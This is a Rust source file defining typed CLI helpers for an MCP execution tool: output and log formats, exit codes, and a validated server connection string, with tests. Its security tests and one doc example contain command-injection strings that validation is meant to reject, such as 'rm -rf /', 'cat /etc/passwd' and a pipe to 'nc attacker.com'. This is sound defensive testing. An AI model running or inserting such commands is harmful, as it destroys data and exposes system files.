mcp_execution_core/cli.rs
1//! CLI-specific types and utilities.
2//!
3//! This module provides strong types for CLI concepts following Microsoft Rust
4//! Guidelines, ensuring type safety and clear intent throughout the CLI codebase.
5//!
6//! # Design Principles
7//!
8//! - Strong types over primitives (no raw strings/ints for domain concepts)
9//! - All types are `Send + Sync + Debug`
10//! - Validation at construction boundaries
11//! - User-friendly error messages
12//!
13//! # Examples
14//!
15//! ```
16//! use mcp_execution_core::cli::{OutputFormat, ExitCode, ServerConnectionString};
17//! use std::path::PathBuf;
18//!
19//! // Output format selection
20//! let format = OutputFormat::Pretty;
21//! assert_eq!(format.as_str(), "pretty");
22//!
23//! // Exit codes with semantic meaning
24//! let code = ExitCode::SUCCESS;
25//! assert_eq!(code.as_i32(), 0);
26//!
27//! // Validated server connection strings
28//! let conn = ServerConnectionString::new("github").unwrap();
29//! assert_eq!(conn.as_str(), "github");
30//! ```
31
32use std::fmt;
33use std::str::FromStr;
34
35/// CLI output format.
36///
37/// Determines how command results are formatted for user display.
38/// All formats provide the same information but with different presentation.
39///
40/// # Examples
41///
42/// ```
43/// use mcp_execution_core::cli::OutputFormat;
44///
45/// let format = OutputFormat::Json;
46/// assert_eq!(format.as_str(), "json");
47///
48/// let format: OutputFormat = "pretty".parse().unwrap();
49/// assert_eq!(format, OutputFormat::Pretty);
50/// ```
51#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Default)]
52pub enum OutputFormat {
53 /// JSON output for machine parsing
54 Json,
55 /// Plain text output for scripts
56 Text,
57 /// Pretty-printed output with colors for human reading
58 #[default]
59 Pretty,
60}
61
62impl OutputFormat {
63 /// Returns the string representation of the format.
64 ///
65 /// # Examples
66 ///
67 /// ```
68 /// use mcp_execution_core::cli::OutputFormat;
69 ///
70 /// assert_eq!(OutputFormat::Json.as_str(), "json");
71 /// assert_eq!(OutputFormat::Text.as_str(), "text");
72 /// assert_eq!(OutputFormat::Pretty.as_str(), "pretty");
73 /// ```
74 #[must_use]
75 pub const fn as_str(&self) -> &'static str {
76 match self {
77 Self::Json => "json",
78 Self::Text => "text",
79 Self::Pretty => "pretty",
80 }
81 }
82}
83
84impl fmt::Display for OutputFormat {
85 fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
86 f.write_str(self.as_str())
87 }
88}
89
90impl FromStr for OutputFormat {
91 type Err = crate::Error;
92
93 fn from_str(s: &str) -> Result<Self, Self::Err> {
94 match s.to_lowercase().as_str() {
95 "json" => Ok(Self::Json),
96 "text" => Ok(Self::Text),
97 "pretty" => Ok(Self::Pretty),
98 _ => Err(crate::Error::InvalidArgument(format!(
99 "invalid output format: '{s}' (expected: json, text, or pretty)"
100 ))),
101 }
102 }
103}
104
105/// CLI exit code with semantic meaning.
106///
107/// Provides type-safe exit codes following Unix conventions.
108/// Success is 0, errors are non-zero with specific meanings.
109///
110/// # Examples
111///
112/// ```
113/// use mcp_execution_core::cli::ExitCode;
114///
115/// let code = ExitCode::SUCCESS;
116/// assert_eq!(code.as_i32(), 0);
117/// assert!(code.is_success());
118///
119/// let code = ExitCode::from_i32(1).unwrap();
120/// assert!(!code.is_success());
121///
122/// // Outside the valid process exit code range (0..=255) is rejected.
123/// assert!(ExitCode::from_i32(-1).is_none());
124/// assert!(ExitCode::from_i32(256).is_none());
125/// ```
126#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)]
127pub struct ExitCode(i32);
128
129impl ExitCode {
130 /// Successful execution (exit code 0).
131 ///
132 /// # Examples
133 ///
134 /// ```
135 /// use mcp_execution_core::cli::ExitCode;
136 ///
137 /// assert_eq!(ExitCode::SUCCESS.as_i32(), 0);
138 /// ```
139 pub const SUCCESS: Self = Self(0);
140
141 /// General error (exit code 1).
142 ///
143 /// # Examples
144 ///
145 /// ```
146 /// use mcp_execution_core::cli::ExitCode;
147 ///
148 /// assert_eq!(ExitCode::ERROR.as_i32(), 1);
149 /// ```
150 pub const ERROR: Self = Self(1);
151
152 /// Invalid input or arguments (exit code 2).
153 ///
154 /// # Examples
155 ///
156 /// ```
157 /// use mcp_execution_core::cli::ExitCode;
158 ///
159 /// assert_eq!(ExitCode::INVALID_INPUT.as_i32(), 2);
160 /// ```
161 pub const INVALID_INPUT: Self = Self(2);
162
163 /// Server connection or communication error (exit code 3).
164 ///
165 /// # Examples
166 ///
167 /// ```
168 /// use mcp_execution_core::cli::ExitCode;
169 ///
170 /// assert_eq!(ExitCode::SERVER_ERROR.as_i32(), 3);
171 /// ```
172 pub const SERVER_ERROR: Self = Self(3);
173
174 /// Execution timeout or resource limit exceeded (exit code 4).
175 ///
176 /// # Examples
177 ///
178 /// ```
179 /// use mcp_execution_core::cli::ExitCode;
180 ///
181 /// assert_eq!(ExitCode::TIMEOUT.as_i32(), 4);
182 /// ```
183 pub const TIMEOUT: Self = Self(4);
184
185 /// Creates an exit code from an integer value.
186 ///
187 /// Returns `None` if `code` falls outside `0..=255`. This is not a universal OS-level
188 /// ceiling — on Unix, `std::process::exit` truncates its argument to the low 8 bits, but
189 /// on Windows it delivers the full `i32` to the parent process via `ExitProcess` — so
190 /// `0..=255` is this API's own deliberate choice (matching every named const this type
191 /// already defines, and the conventional Unix exit-code range this CLI targets), not
192 /// something every platform enforces for it. Rejecting an out-of-range value here surfaces
193 /// a construction mistake immediately rather than silently producing an [`ExitCode`] whose
194 /// reported value could be misleading once actually reported to the OS.
195 ///
196 /// # Examples
197 ///
198 /// ```
199 /// use mcp_execution_core::cli::ExitCode;
200 ///
201 /// let code = ExitCode::from_i32(0).unwrap();
202 /// assert_eq!(code, ExitCode::SUCCESS);
203 ///
204 /// assert!(ExitCode::from_i32(-1).is_none());
205 /// assert!(ExitCode::from_i32(256).is_none());
206 /// ```
207 #[must_use]
208 pub const fn from_i32(code: i32) -> Option<Self> {
209 if matches!(code, 0..=255) {
210 Some(Self(code))
211 } else {
212 None
213 }
214 }
215
216 /// Returns the exit code as an integer.
217 ///
218 /// # Examples
219 ///
220 /// ```
221 /// use mcp_execution_core::cli::ExitCode;
222 ///
223 /// assert_eq!(ExitCode::SUCCESS.as_i32(), 0);
224 /// assert_eq!(ExitCode::ERROR.as_i32(), 1);
225 /// ```
226 #[must_use]
227 pub const fn as_i32(&self) -> i32 {
228 self.0
229 }
230
231 /// Checks if the exit code represents success.
232 ///
233 /// # Examples
234 ///
235 /// ```
236 /// use mcp_execution_core::cli::ExitCode;
237 ///
238 /// assert!(ExitCode::SUCCESS.is_success());
239 /// assert!(!ExitCode::ERROR.is_success());
240 /// ```
241 #[must_use]
242 pub const fn is_success(&self) -> bool {
243 self.0 == 0
244 }
245}
246
247impl Default for ExitCode {
248 fn default() -> Self {
249 Self::SUCCESS
250 }
251}
252
253impl From<ExitCode> for i32 {
254 fn from(code: ExitCode) -> Self {
255 code.0
256 }
257}
258
259impl fmt::Display for ExitCode {
260 fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
261 write!(f, "{}", self.0)
262 }
263}
264
265/// Diagnostic log output format.
266///
267/// Selects whether `mcp-execution-cli` and `mcp-execution-server` emit human-readable text logs
268/// or structured JSON logs. Independent of [`OutputFormat`], which controls command *result*
269/// output, not diagnostic logging.
270///
271/// # Examples
272///
273/// ```
274/// use mcp_execution_core::cli::LogFormat;
275///
276/// let format = LogFormat::Json;
277/// assert_eq!(format.as_str(), "json");
278///
279/// let format: LogFormat = "TEXT".parse().unwrap();
280/// assert_eq!(format, LogFormat::Text);
281/// ```
282#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Default)]
283pub enum LogFormat {
284 /// Human-readable text logs.
285 #[default]
286 Text,
287 /// Structured JSON logs, one object per line.
288 Json,
289}
290
291impl LogFormat {
292 /// Returns the string representation of the format.
293 ///
294 /// # Examples
295 ///
296 /// ```
297 /// use mcp_execution_core::cli::LogFormat;
298 ///
299 /// assert_eq!(LogFormat::Text.as_str(), "text");
300 /// assert_eq!(LogFormat::Json.as_str(), "json");
301 /// ```
302 #[must_use]
303 pub const fn as_str(&self) -> &'static str {
304 match self {
305 Self::Text => "text",
306 Self::Json => "json",
307 }
308 }
309
310 /// Resolves the effective log format from an optional CLI flag value and an optional raw
311 /// environment variable value.
312 ///
313 /// Precedence: `flag` wins unconditionally when set — `env_value` is not even inspected, so a
314 /// malformed environment value has no effect on the result once the flag has already resolved
315 /// the format. Otherwise the env value is parsed via [`LogFormat::parse_env`], which treats
316 /// an empty/whitespace-only or unrecognized value alike as "no override" and falls back to
317 /// [`LogFormat::default`].
318 ///
319 /// Returns only the resolved format, not the rejected raw value: neither production caller
320 /// logs it (a raw `MCP_EXECUTION_LOG_FORMAT` value is untrusted external input, and echoing
321 /// it — even truncated — would open a log-injection vector), so carrying it through this
322 /// return type would be a capability with no real consumer. A caller that needs to know
323 /// *whether* the env value was invalid specifically (as opposed to merely absent), e.g. to
324 /// decide whether to log a warning, calls [`LogFormat::is_invalid_env_value`] separately.
325 ///
326 /// Deliberately free of `std::env` access itself: callers pass
327 /// `std::env::var(LOG_FORMAT_ENV_VAR).ok()` in, which keeps precedence and fallback behavior
328 /// testable without mutating process environment state. One accepted consequence of that
329 /// call shape: a non-UTF-8 `MCP_EXECUTION_LOG_FORMAT` value folds to `Err(VarError::NotUnicode(_))`,
330 /// hence `None` here, so it is silently treated as *unset* rather than *invalid* — unlike a
331 /// valid-UTF-8 but unrecognized value (e.g. `"xml"`), which [`LogFormat::is_invalid_env_value`]
332 /// does flag for a caller to warn about. Not worth switching callers to `std::env::var_os` to
333 /// close this gap: a non-UTF-8 value is exceedingly unlikely for a variable whose only valid
334 /// values are ASCII, and the failure mode (no warning, falls back to the same default a bad
335 /// value would) is identical either way.
336 ///
337 /// # Examples
338 ///
339 /// ```
340 /// use mcp_execution_core::cli::LogFormat;
341 ///
342 /// // The flag wins even over a valid env value.
343 /// assert_eq!(LogFormat::resolve(Some(LogFormat::Json), Some("text")), LogFormat::Json);
344 ///
345 /// // No flag: a valid env value is used, case-insensitively.
346 /// assert_eq!(LogFormat::resolve(None, Some("JSON")), LogFormat::Json);
347 ///
348 /// // No flag, unrecognized env value: falls back to the default (`Text`).
349 /// assert_eq!(LogFormat::resolve(None, Some("xml")), LogFormat::Text);
350 /// ```
351 #[must_use]
352 pub fn resolve(flag: Option<Self>, env_value: Option<&str>) -> Self {
353 flag.or_else(|| env_value.and_then(Self::parse_env))
354 .unwrap_or_default()
355 }
356
357 /// Parses a raw `MCP_EXECUTION_LOG_FORMAT` environment-variable value.
358 ///
359 /// Returns `None` uniformly for an empty/whitespace-only value and for one that doesn't
360 /// match `text`/`json` (case-insensitive) — both are "no override" as far as [`resolve`]
361 /// is concerned. Use [`LogFormat::is_invalid_env_value`] when the two `None` cases need to
362 /// be told apart (e.g. to decide whether a caller should warn about a rejected value).
363 ///
364 /// [`resolve`]: LogFormat::resolve
365 ///
366 /// # Examples
367 ///
368 /// ```
369 /// use mcp_execution_core::cli::LogFormat;
370 ///
371 /// assert_eq!(LogFormat::parse_env("json"), Some(LogFormat::Json));
372 /// assert_eq!(LogFormat::parse_env("JSON"), Some(LogFormat::Json));
373 /// assert_eq!(LogFormat::parse_env(""), None);
374 /// assert_eq!(LogFormat::parse_env(" "), None);
375 /// assert_eq!(LogFormat::parse_env("xml"), None);
376 /// ```
377 #[must_use]
378 pub fn parse_env(raw: &str) -> Option<Self> {
379 let trimmed = raw.trim();
380 if trimmed.is_empty() {
381 return None;
382 }
383 trimmed.parse().ok()
384 }
385
386 /// True when `raw` is a genuinely invalid `MCP_EXECUTION_LOG_FORMAT` value — non-empty and
387 /// not parseable via [`LogFormat::parse_env`] — as opposed to an empty/whitespace-only value,
388 /// which is merely "unset" and not worth warning about. Lets a caller decide whether to emit
389 /// a warning without re-implementing [`parse_env`](LogFormat::parse_env)'s own emptiness
390 /// check.
391 ///
392 /// # Examples
393 ///
394 /// ```
395 /// use mcp_execution_core::cli::LogFormat;
396 ///
397 /// assert!(LogFormat::is_invalid_env_value("xml"));
398 /// assert!(!LogFormat::is_invalid_env_value("json"));
399 /// assert!(!LogFormat::is_invalid_env_value(""));
400 /// assert!(!LogFormat::is_invalid_env_value(" "));
401 /// ```
402 #[must_use]
403 pub fn is_invalid_env_value(raw: &str) -> bool {
404 !raw.trim().is_empty() && Self::parse_env(raw).is_none()
405 }
406}
407
408impl fmt::Display for LogFormat {
409 fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
410 f.write_str(self.as_str())
411 }
412}
413
414impl FromStr for LogFormat {
415 type Err = crate::Error;
416
417 fn from_str(s: &str) -> Result<Self, Self::Err> {
418 match s.to_lowercase().as_str() {
419 "text" => Ok(Self::Text),
420 "json" => Ok(Self::Json),
421 _ => Err(crate::Error::InvalidArgument(format!(
422 "invalid log format: '{s}' (expected: text or json)"
423 ))),
424 }
425 }
426}
427
428/// Environment variable consulted for the default [`LogFormat`] when `--log-format` is not
429/// passed. See [`LogFormat::resolve`].
430pub const LOG_FORMAT_ENV_VAR: &str = "MCP_EXECUTION_LOG_FORMAT";
431
432/// Validated MCP server connection string.
433///
434/// Ensures server identifiers are non-empty and contain only valid characters.
435/// This prevents command injection and path traversal attacks.
436///
437/// # Security
438///
439/// - Rejects empty strings
440/// - Rejects strings with null bytes
441/// - Trims whitespace
442///
443/// # Examples
444///
445/// ```
446/// use mcp_execution_core::cli::ServerConnectionString;
447///
448/// let conn = ServerConnectionString::new("github").unwrap();
449/// assert_eq!(conn.as_str(), "github");
450///
451/// // Empty strings are rejected
452/// assert!(ServerConnectionString::new("").is_err());
453///
454/// // Whitespace is trimmed
455/// let conn = ServerConnectionString::new(" server ").unwrap();
456/// assert_eq!(conn.as_str(), "server");
457/// ```
458#[derive(Debug, Clone, PartialEq, Eq, Hash)]
459pub struct ServerConnectionString(String);
460
461impl ServerConnectionString {
462 /// Creates a new validated server connection string.
463 ///
464 /// # Security
465 ///
466 /// This function validates input to prevent command injection attacks:
467 /// - Only allows alphanumeric characters and `-_./:` for safe server identifiers
468 /// - Rejects shell metacharacters (`&`, `|`, `;`, `$`, `` ` ``, etc.)
469 /// - Rejects control characters to prevent CRLF injection
470 /// - Length limited to 256 characters
471 ///
472 /// # Errors
473 ///
474 /// Returns an error if:
475 /// - The string is empty after trimming
476 /// - The string contains invalid characters
477 /// - The string contains control characters
478 /// - The string exceeds 256 characters
479 ///
480 /// # Examples
481 ///
482 /// ```
483 /// use mcp_execution_core::cli::ServerConnectionString;
484 ///
485 /// let conn = ServerConnectionString::new("my-server")?;
486 /// assert_eq!(conn.as_str(), "my-server");
487 ///
488 /// // Shell metacharacters are rejected for security
489 /// assert!(ServerConnectionString::new("server && rm -rf /").is_err());
490 /// # Ok::<(), mcp_execution_core::Error>(())
491 /// ```
492 pub fn new(s: impl Into<String>) -> crate::Result<Self> {
493 // Define allowed characters: alphanumeric, hyphen, underscore, dot, slash, colon
494 // This prevents command injection while allowing common server identifiers
495 const ALLOWED_CHARS: &str =
496 "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_./:";
497
498 let s = s.into();
499
500 // Check for control characters BEFORE trimming to prevent CRLF injection
501 if s.chars().any(|c| c.is_control() && c != ' ') {
502 return Err(crate::Error::InvalidArgument(
503 "server connection string cannot contain control characters".to_string(),
504 ));
505 }
506
507 let trimmed = s.trim();
508
509 if trimmed.is_empty() {
510 return Err(crate::Error::InvalidArgument(
511 "server connection string cannot be empty".to_string(),
512 ));
513 }
514
515 // Reject shell metacharacters to prevent command injection
516 if !trimmed.chars().all(|c| ALLOWED_CHARS.contains(c)) {
517 return Err(crate::Error::InvalidArgument(
518 "server connection string contains invalid characters (allowed: a-z, A-Z, 0-9, -, _, ., /, :)".to_string(),
519 ));
520 }
521
522 if trimmed.len() > 256 {
523 return Err(crate::Error::InvalidArgument(
524 "server connection string too long (max 256 characters)".to_string(),
525 ));
526 }
527
528 Ok(Self(trimmed.to_string()))
529 }
530
531 /// Returns the connection string as a string slice.
532 ///
533 /// # Examples
534 ///
535 /// ```
536 /// use mcp_execution_core::cli::ServerConnectionString;
537 ///
538 /// let conn = ServerConnectionString::new("server")?;
539 /// assert_eq!(conn.as_str(), "server");
540 /// # Ok::<(), mcp_execution_core::Error>(())
541 /// ```
542 #[must_use]
543 pub fn as_str(&self) -> &str {
544 &self.0
545 }
546}
547
548impl fmt::Display for ServerConnectionString {
549 fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
550 write!(f, "{}", self.0)
551 }
552}
553
554impl FromStr for ServerConnectionString {
555 type Err = crate::Error;
556
557 fn from_str(s: &str) -> Result<Self, Self::Err> {
558 Self::new(s)
559 }
560}
561
562#[cfg(test)]
563mod tests {
564 use super::*;
565
566 // OutputFormat tests
567 #[test]
568 fn test_output_format_as_str() {
569 assert_eq!(OutputFormat::Json.as_str(), "json");
570 assert_eq!(OutputFormat::Text.as_str(), "text");
571 assert_eq!(OutputFormat::Pretty.as_str(), "pretty");
572 }
573
574 #[test]
575 fn test_output_format_default() {
576 assert_eq!(OutputFormat::default(), OutputFormat::Pretty);
577 }
578
579 #[test]
580 fn test_output_format_from_str_valid() {
581 assert_eq!("json".parse::<OutputFormat>().unwrap(), OutputFormat::Json);
582 assert_eq!("text".parse::<OutputFormat>().unwrap(), OutputFormat::Text);
583 assert_eq!(
584 "pretty".parse::<OutputFormat>().unwrap(),
585 OutputFormat::Pretty
586 );
587
588 // Case insensitive
589 assert_eq!("JSON".parse::<OutputFormat>().unwrap(), OutputFormat::Json);
590 assert_eq!("TEXT".parse::<OutputFormat>().unwrap(), OutputFormat::Text);
591 assert_eq!(
592 "PRETTY".parse::<OutputFormat>().unwrap(),
593 OutputFormat::Pretty
594 );
595 }
596
597 #[test]
598 fn test_output_format_from_str_invalid() {
599 assert!("invalid".parse::<OutputFormat>().is_err());
600 assert!("".parse::<OutputFormat>().is_err());
601 assert!("xml".parse::<OutputFormat>().is_err());
602 }
603
604 #[test]
605 fn test_output_format_display() {
606 assert_eq!(OutputFormat::Json.to_string(), "json");
607 assert_eq!(OutputFormat::Text.to_string(), "text");
608 assert_eq!(OutputFormat::Pretty.to_string(), "pretty");
609 }
610
611 // ExitCode tests
612 #[test]
613 fn test_exit_code_constants() {
614 assert_eq!(ExitCode::SUCCESS.as_i32(), 0);
615 assert_eq!(ExitCode::ERROR.as_i32(), 1);
616 assert_eq!(ExitCode::INVALID_INPUT.as_i32(), 2);
617 assert_eq!(ExitCode::SERVER_ERROR.as_i32(), 3);
618 assert_eq!(ExitCode::TIMEOUT.as_i32(), 4);
619 }
620
621 #[test]
622 fn test_exit_code_from_i32() {
623 assert_eq!(ExitCode::from_i32(0), Some(ExitCode::SUCCESS));
624 assert_eq!(ExitCode::from_i32(1), Some(ExitCode::ERROR));
625 assert_eq!(ExitCode::from_i32(42).unwrap().as_i32(), 42);
626 }
627
628 #[test]
629 fn test_exit_code_from_i32_rejects_out_of_range() {
630 assert_eq!(ExitCode::from_i32(-1), None);
631 assert_eq!(ExitCode::from_i32(256), None);
632 assert_eq!(ExitCode::from_i32(i32::MIN), None);
633 assert_eq!(ExitCode::from_i32(i32::MAX), None);
634 }
635
636 #[test]
637 fn test_exit_code_from_i32_accepts_boundaries() {
638 assert_eq!(ExitCode::from_i32(0).unwrap().as_i32(), 0);
639 assert_eq!(ExitCode::from_i32(255).unwrap().as_i32(), 255);
640 }
641
642 #[test]
643 fn test_exit_code_is_success() {
644 assert!(ExitCode::SUCCESS.is_success());
645 assert!(!ExitCode::ERROR.is_success());
646 assert!(!ExitCode::INVALID_INPUT.is_success());
647 assert!(!ExitCode::from_i32(42).unwrap().is_success());
648 }
649
650 #[test]
651 fn test_exit_code_default() {
652 assert_eq!(ExitCode::default(), ExitCode::SUCCESS);
653 }
654
655 #[test]
656 fn test_exit_code_into_i32() {
657 let code = ExitCode::ERROR;
658 let value: i32 = code.into();
659 assert_eq!(value, 1);
660 }
661
662 #[test]
663 fn test_exit_code_display() {
664 assert_eq!(ExitCode::SUCCESS.to_string(), "0");
665 assert_eq!(ExitCode::ERROR.to_string(), "1");
666 }
667
668 // LogFormat tests
669 #[test]
670 fn test_log_format_as_str() {
671 assert_eq!(LogFormat::Text.as_str(), "text");
672 assert_eq!(LogFormat::Json.as_str(), "json");
673 }
674
675 #[test]
676 fn test_log_format_default() {
677 assert_eq!(LogFormat::default(), LogFormat::Text);
678 }
679
680 #[test]
681 fn test_log_format_from_str_valid_case_insensitive() {
682 assert_eq!("text".parse::<LogFormat>().unwrap(), LogFormat::Text);
683 assert_eq!("JSON".parse::<LogFormat>().unwrap(), LogFormat::Json);
684 assert_eq!("Json".parse::<LogFormat>().unwrap(), LogFormat::Json);
685 }
686
687 #[test]
688 fn test_log_format_from_str_invalid() {
689 assert!("xml".parse::<LogFormat>().is_err());
690 assert!("".parse::<LogFormat>().is_err());
691 }
692
693 #[test]
694 fn test_log_format_display() {
695 assert_eq!(LogFormat::Text.to_string(), "text");
696 assert_eq!(LogFormat::Json.to_string(), "json");
697 }
698
699 #[test]
700 fn test_log_format_resolve_flag_wins_over_valid_env() {
701 assert_eq!(
702 LogFormat::resolve(Some(LogFormat::Json), Some("text")),
703 LogFormat::Json
704 );
705 }
706
707 #[test]
708 fn test_log_format_resolve_flag_wins_over_bad_env() {
709 assert_eq!(
710 LogFormat::resolve(Some(LogFormat::Text), Some("xml")),
711 LogFormat::Text
712 );
713 }
714
715 #[test]
716 fn test_log_format_resolve_env_used_when_flag_none() {
717 assert_eq!(LogFormat::resolve(None, Some("json")), LogFormat::Json);
718 }
719
720 #[test]
721 fn test_log_format_resolve_env_case_insensitive() {
722 assert_eq!(LogFormat::resolve(None, Some("JSON")), LogFormat::Json);
723 }
724
725 #[test]
726 fn test_log_format_resolve_no_flag_no_env_defaults_to_text() {
727 assert_eq!(LogFormat::resolve(None, None), LogFormat::Text);
728 }
729
730 #[test]
731 fn test_log_format_resolve_empty_or_whitespace_env_treated_as_unset() {
732 assert_eq!(LogFormat::resolve(None, Some("")), LogFormat::Text);
733 assert_eq!(LogFormat::resolve(None, Some(" ")), LogFormat::Text);
734 }
735
736 #[test]
737 fn test_log_format_resolve_unknown_env_falls_back_to_default() {
738 assert_eq!(LogFormat::resolve(None, Some("xml")), LogFormat::Text);
739 }
740
741 // LogFormat::parse_env tests
742 #[test]
743 fn test_log_format_parse_env_valid_case_insensitive() {
744 assert_eq!(LogFormat::parse_env("text"), Some(LogFormat::Text));
745 assert_eq!(LogFormat::parse_env("JSON"), Some(LogFormat::Json));
746 assert_eq!(LogFormat::parse_env("Json"), Some(LogFormat::Json));
747 }
748
749 #[test]
750 fn test_log_format_parse_env_empty_or_whitespace_is_none() {
751 assert_eq!(LogFormat::parse_env(""), None);
752 assert_eq!(LogFormat::parse_env(" "), None);
753 }
754
755 #[test]
756 fn test_log_format_parse_env_invalid_is_none() {
757 assert_eq!(LogFormat::parse_env("xml"), None);
758 }
759
760 // LogFormat::is_invalid_env_value tests
761 #[test]
762 fn test_log_format_is_invalid_env_value_true_for_unparseable_non_empty_value() {
763 assert!(LogFormat::is_invalid_env_value("xml"));
764 }
765
766 #[test]
767 fn test_log_format_is_invalid_env_value_false_for_valid_value() {
768 assert!(!LogFormat::is_invalid_env_value("json"));
769 assert!(!LogFormat::is_invalid_env_value("TEXT"));
770 }
771
772 #[test]
773 fn test_log_format_is_invalid_env_value_false_for_empty_or_whitespace() {
774 assert!(!LogFormat::is_invalid_env_value(""));
775 assert!(!LogFormat::is_invalid_env_value(" "));
776 }
777
778 // ServerConnectionString tests
779 #[test]
780 fn test_server_connection_string_valid() {
781 let conn = ServerConnectionString::new("github").unwrap();
782 assert_eq!(conn.as_str(), "github");
783
784 let conn = ServerConnectionString::new("my-server-123").unwrap();
785 assert_eq!(conn.as_str(), "my-server-123");
786 }
787
788 #[test]
789 fn test_server_connection_string_trims_whitespace() {
790 let conn = ServerConnectionString::new(" server ").unwrap();
791 assert_eq!(conn.as_str(), "server");
792
793 // Control characters (other than space) are rejected before trimming
794 assert!(ServerConnectionString::new("\tserver\n").is_err());
795 }
796
797 #[test]
798 fn test_server_connection_string_rejects_empty() {
799 assert!(ServerConnectionString::new("").is_err());
800 assert!(ServerConnectionString::new(" ").is_err());
801 assert!(ServerConnectionString::new("\t\n").is_err());
802 }
803
804 #[test]
805 fn test_server_connection_string_from_str() {
806 let conn: ServerConnectionString = "server".parse().unwrap();
807 assert_eq!(conn.as_str(), "server");
808
809 assert!("".parse::<ServerConnectionString>().is_err());
810 }
811
812 #[test]
813 fn test_server_connection_string_display() {
814 let conn = ServerConnectionString::new("test-server").unwrap();
815 assert_eq!(conn.to_string(), "test-server");
816 }
817
818 // Security tests for command injection prevention
819 #[test]
820 fn test_server_connection_string_command_injection() {
821 // Shell metacharacters should be rejected
822 assert!(ServerConnectionString::new("server && rm -rf /").is_err());
823 assert!(ServerConnectionString::new("server; cat /etc/passwd").is_err());
824 assert!(ServerConnectionString::new("server | nc attacker.com").is_err());
825 assert!(ServerConnectionString::new("server $(malicious)").is_err());
826 assert!(ServerConnectionString::new("server `whoami`").is_err());
827 assert!(ServerConnectionString::new("server & background").is_err());
828 }
829
830 #[test]
831 fn test_server_connection_string_control_chars() {
832 // Control characters should be rejected (CRLF injection)
833 assert!(ServerConnectionString::new("server\r\n").is_err());
834 assert!(ServerConnectionString::new("server\0").is_err());
835 assert!(ServerConnectionString::new("server\t").is_err());
836 }
837
838 #[test]
839 fn test_server_connection_string_valid_chars() {
840 // These should still be valid
841 assert!(ServerConnectionString::new("github").is_ok());
842 assert!(ServerConnectionString::new("my_server").is_ok());
843 assert!(ServerConnectionString::new("server-123").is_ok());
844 assert!(ServerConnectionString::new("localhost:8080").is_ok());
845 assert!(ServerConnectionString::new("example.com/path").is_ok());
846 }
847
848 #[test]
849 fn test_server_connection_string_length_limit() {
850 // 256 characters should be allowed
851 let valid = "a".repeat(256);
852 assert!(ServerConnectionString::new(&valid).is_ok());
853
854 // 257 characters should be rejected
855 let too_long = "a".repeat(257);
856 assert!(ServerConnectionString::new(&too_long).is_err());
857 }
858}